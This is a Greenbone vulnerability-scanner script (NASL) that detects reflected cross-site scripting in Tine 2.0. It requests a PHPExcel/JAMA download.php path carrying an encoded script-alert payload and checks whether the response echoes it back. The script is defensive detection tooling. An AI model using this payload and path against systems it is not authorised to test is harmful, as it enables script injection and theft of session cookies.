Tine Multiple Cross Site Scripting Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103313");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-10-25 14:02:26 +0200 (Tue, 25 Oct 2011)");
  script_name("Tine Multiple Cross Site Scripting Vulnerabilities");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50307");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/520167");
  script_xref(name:"URL", value:"https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_tine_2_0.html");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
  information.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"Tine is prone to multiple cross-site scripting vulnerabilities because
  the application fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"impact", value:"An attacker could exploit these vulnerabilities to execute arbitrary
  script code in the context of the affected website. This may allow the attacker to steal cookie-based
  authentication credentials and launch other attacks.");

  script_tag(name:"affected", value:"Tine 2.0 is vulnerable. Other versions may also be affected.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

vt_strings = get_vt_strings();

foreach dir( make_list_unique( "/tine", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  buf = http_get_cache(item:dir + "/index.php", port:port);
  if(!buf || buf !~ "^HTTP/1\.[01] 200" || ("<!-- Tine -->" >!< buf && "Tinebase" >!< buf && "<!-- Tine 2.0 static files -->" >!< buf))
    continue;

  url = dir + "/library/PHPExcel/PHPExcel/Shared/JAMA/docs/download.php/%27%3E%3Cscript%3Ealert(/" + vt_strings["lowercase"] + "/);%3C/script%3E";

  if( http_vuln_check( port:port, url:url, pattern:"<script>alert\(/" + vt_strings["lowercase"] + "/\);</script>", check_header:TRUE ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );